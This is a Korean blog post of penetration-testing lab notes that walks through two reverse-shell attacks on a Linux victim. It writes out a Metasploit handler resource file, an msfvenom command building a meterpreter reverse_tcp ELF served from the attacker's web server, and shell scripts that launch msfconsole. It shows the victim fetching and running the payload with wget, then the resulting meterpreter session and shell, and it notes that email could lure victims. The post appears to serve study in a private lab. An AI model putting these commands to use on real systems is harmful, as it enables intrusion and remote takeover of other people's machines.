Linux/모의해킹

쉘스크립트를 활용한 공격 1 & 2

GGkeeper 2022. 1. 4. 21:43

실습>  쉘스크립트를 활용한 공격 1

1. 공격 파일 작성
Attacker# vi reverse_tcp.rc
-- reverse_tcp.rc --
use multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.108.102
exploit
-- reverse_tcp.rc --

2. 악성코드 작성
msfvenom 옵션
lhost : 공격자 IP주소
lport : 공격자 포트번호
-f    : 실행파일 형식
-o    : 악성파일 경로

/var/www/html/malware 로 악성코드를 생성한다. 
Attacker# msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp \
lhost=192.168.108.102 lport=4444 -f elf -o /var/www/html/malware

Attacker# file /var/www/html/malware
/var/www/html/malware: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header

3. 쉘 스크립트 작성
Attacker# vi reverse_tcp.sh
-- reverse_tcp.sh --
#!/bin/sh

msfconsole -r reverse_tcp.rc
-- reverse_tcp.sh --

Attacker# chmod 755 reverse_tcp.sh
Attacker# ./reverse_tcp.sh

4. 악성코드 실행
Victim에서 악성코드를 다운로드 받아서 실행한다.
여기서는 실제 악성코드를 다운로드 받아서 실행하지만 시나리오 기반으로 생각한다면
메일 보내서 피해자를 유인할 수 있고 여러가지 다양한 방법을 생각할 수 있을 것이다.
Victim# wget http://192.168.108.102/malware
Victim# chmod 755 malware
Victim# ./malware

Victim 에서 악성코드를 다운로드 받아서 실행하면 msfconsole에 메세지가 나타나고  
Attacker로 reverse connection으로 연결하고 상태를 확인할 수 있다.

[*] Started reverse TCP handler on 192.168.108.102:4444
[*] Sending stage (984904 bytes) to 192.168.108.100
[*] Meterpreter session 1 opened (192.168.108.102:4444 -> 192.168.108.100:58876) at 2021-08-05 04:54:02 -0400


Attacker# netstat -natp | grep 4444
tcp        0      0 192.168.108.102:4444    192.168.108.100:58876   ESTABLISHED 39466/ruby

victim# netstat -nat | grep 4444
tcp        0      0 192.168.108.100:58876   192.168.108.102:4444    ESTABLISHED

5. Victim 장악
피해자의 공격에 성공하면 meterpreter 쉘이 실행된 걸 확인할 수 있다.
Computer     : nginx.linuxmaster.net
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.el7.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

meterpreter > shell
Process 7179 created.
Channel 1 created.


실습>  쉘스크립트를 활용한 공격2

heredoc 의 형식 : 
cat << 문자열 > 파일명
...
...
...
문자열

Attacker# vi reverse_tcp2.sh
-- reverse_tcp2.sh --
#!/bin/sh

filename="reverse_tcp2.rc"

cat << EOF > $filename
use multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.108.102
exploit
EOF

msfconsole -r $filename
rm -f $filename
-- reverse_tcp2.sh --

Attacker# chmod 755 reverse_tcp2.sh
Attacker# ./reverse_tcp2.sh

Victim# ./malware

meterpreter > exit
msf6 exploit(multi/handler) > exit

'Linux > 모의해킹' 카테고리의 다른 글

파일 다운로드  (0) 2022.01.05
meterpreter 명령어 사용하기  (0) 2022.01.05
Download_exec Payload  (0) 2022.01.04
아드레날린 프로그램 취약점을 이용한 Reverse Shell 연결하기  (0) 2022.01.04
Wireshark 공격하기  (0) 2022.01.04